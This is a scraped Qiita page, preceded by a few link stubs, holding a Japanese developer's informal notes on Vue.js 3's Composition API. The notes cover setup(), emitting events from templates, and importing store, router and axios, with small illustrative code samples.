スター☆トゥインクルプリキュア 作品情報 - 東映アニメーション

CSSだけで色々な星を再現する(おまけ付き) - Qiita

角丸の三角形をcssで作りたい - teratail

おまけ

ラグビーW杯 決勝のニュース

https://www.nikkei.com/article/DGXMZO51758280S9A101C1000000/

See the Pen abOLvmB by j5c8k6m8 (@j5c8k6m8) on CodePen.

外郎売

See the Pen gOpGaMj by j5c8k6m8 (@j5c8k6m8) on CodePen.

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Vue.jsのComposition APIについて自分なりに考えてみたメモ

何があった?

気が付くと今年にはVue.js 3.0が出るらしい。
しかも、今までの書式とは結構変わってしまうらしい…。

何と言う事でしょう、巧1の仕業か!?

Composition APIを調べてみて思った事

Vue.js 3.0から導入される新機能の大玉はComposition APIと言う仕組みらしいです。
なんでもTypeScriptとの相性を解消するためだったり2とか、高速化の為だったりとか。

当初、Vue.js 2.xでも完璧超人3に感じてたので、わざわざ新しい書式なんて要らないんじゃないかな?
…と思ったのですが、Composition APIを少し触ってみて結構いいんじゃないと思ったのと、自分なりに思う所が出てきたので、そういった部分をメモしてみたいと思います。

setupについて

Composition APIではテンプレートで使用する要素をsetupでreturnする仕様になっているらしい。

また、いくつかの解説(それは公式も)ではsetup内に関数を入れているみたいだけど、setupと言う名前だし、あんまり業務ロジック的な関数は中に入れたくない4気がします。

出来ればdefineComponentの外に配置したいな思いました5

逆にreactiverefcomputedなどは、setupの外でも使用可能だけど、これらはsetup()の中で指定するほうが見渡しが良くなるような感じもする…。

<script>
import { reactive } from '@vue/composition-api'

const state = {
 name: 'てすと',
 price: 1000,
 text: ''
}

const method = {
 taxCalculator(price){
  const taxRate = 1.1
  return Math.floor(price * taxRate)
 }
}

export default defineComponent({
 setup() {
  const data = reactive(state)

  return {
   data,
   method 
  }
 }
})
</script>

例えば、こんな感じ?

setup関数の第二引数について

setup関数の第二引数内には、「root, parent, refs, attrs, listeners, isServer, ssrContext, emit, slots」など含まれているけど、今までmethodの中でバンバンthis.$emitなんて書いてきたので、なんか違和感を感じました。

なんかこの第二引数の内容って、ちょっと隠したい物の置き方みたいに感じます6

それにemitを使うためにsetup内に関数を書くのは、ちょっとやりたくないかなって思いました。
でも、emitは割とよく使うし…どうすればいいんだろうと考えました。

emitの使い方を考える

↑で書いたみたいに、setup内でemitを含んだ関数は書きたくない!!!

それでふと、他にemit出来る場所って結局templateの中しかないと思った時に、なんとなくもともとemitはtemplateから直接呼びたいものなのではないかと思いました7

<template>
 <dl>
  <dt>名前入力</dt>
  <dd>
   <input
    type="text"
    @input="$emit('input', method.extractionValue($event))"
   />
  </dd>
 </dl>
</template>

こういう感じにemitは直接templateから指定して、引数からメソッドを呼んで必要に応じて成型した戻り値を親コンポーネントへ送ります。

分岐からのemitの場合

ただ時々ある、ボタン押してからstateの条件に応じてemitの選り分け等を行う場合にはtemplateからのemitでは辛いかもと思う時があります。
自分の考えとしては、選り分け処理は親コンポーネントに任せてとりあえず値を親に送り付けるという方法が良いのではないかと思います。

今までは、↓のように分岐してからemitしてた。

<template>
 <button @click="submit()">送信</button>
</template>
submit () {
 if (this.flag > 1) {
  this.$emit('submit')
 }
}

でもこれからはtemplateでとりあえず、親へ送っちゃう

<template>
<button @click="$emit('submit', status)">送信</button>
</template>
// これは親コンポーネントの処理
function submit(status){
 if (this.status > 1) {
 // 条件に応じての処理
 }
}

routeについて

routerじゃなくてrouteの方もemitとよく似てます。
これも結局templateから普通に呼べるので、メソッドを呼ぶときに引数に加えてあげればいいかなと思います。

<input
 type="number"
 @input="$emit('input', hoge($route.name))"
>

ただ、ページの一番最初にAPI呼ぶときのパラメータとかで必要だったりするので、そういう場合はsetupの第二引数を使って呼ぶ必要があるかもしれません。

setup(props, { root }){
 cosnt pageName = root.$route.name
 axios.get(`/api/hogehoge/${pageName}`).then(...)
}

storeとかrouterについて

これらは普通にimportしちゃうのが良い感じだと思いました。

import store from '@/store'
import router from '@/router'

function hoge () {
 store.dispatch('fugafuga')
 router.push('hogehoge')
}

axiosはどうする?

vueの公式サイトでもaxiosをvueのインスタンスの中に突っ込んで、this.$axiosみたいな呼び方をするのがメジャーかなって思いましたが、これも普通にimportして使うのが良いかもしれません。

Componentの参照方法について

storerouteraxiosをimportするようになると、コンポーネントのためのimportと混在してちょっと見通しが悪い気がします。
なので、コンポーネントはrouter.jsみたいな感じに書いちゃった方が、さっぱりするかもしれません。
※これは完全に個人的な思いつきでやっていますので、特に参考になりません。

import { defineComponent } from '@vue/composition-api'
import axios from '@/axios'

export default defineComponent({
 components: {
  Hoge: () => import('./Hoge.vue'),
  Fuga: () => import('./Fuga.vue'),
 },
 setup() {
  // ...
 }
}

…と言う夢を見た

と言う感じにComposition APIを学んだ結果、こんな夢を見てしまったわけですが、特にemitなどのあしらい方はそのままvue.js 2.xでも実践できるなと思いました。
もしかしたら、vue.jsは自分が思ってる以上にTemplateに焦点を当てて考えるべきなのかもと思いました。
そして、この夢が良いのかどうかを検証するためにも実践していきたいと思ったのでした…。

ここまで、駄文を読んでくれた人がいましたら、ありがとうございました。

注意事項

この記事はある種の夢でありチラシの裏でありポエムの様なものです。
参考にならないなと思った場合は、そっ閉じしてくれると嬉しいです。


  1. 人呼んでEvan Youと言うらしい? 

  2. 実はtypescript良くわかってないです。 

  3. グロロロロ… 

  4. あんまり入れたくないだけで、別に多少は入れないとどうしようもないよなぁとは思ってます。 

  5. そもそも、そう思う事が果たしてどうなのか言う議論はあります。 

  6. 個人の感想です!!! 

  7. 一方的に思っただけで根拠もない話です。 

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む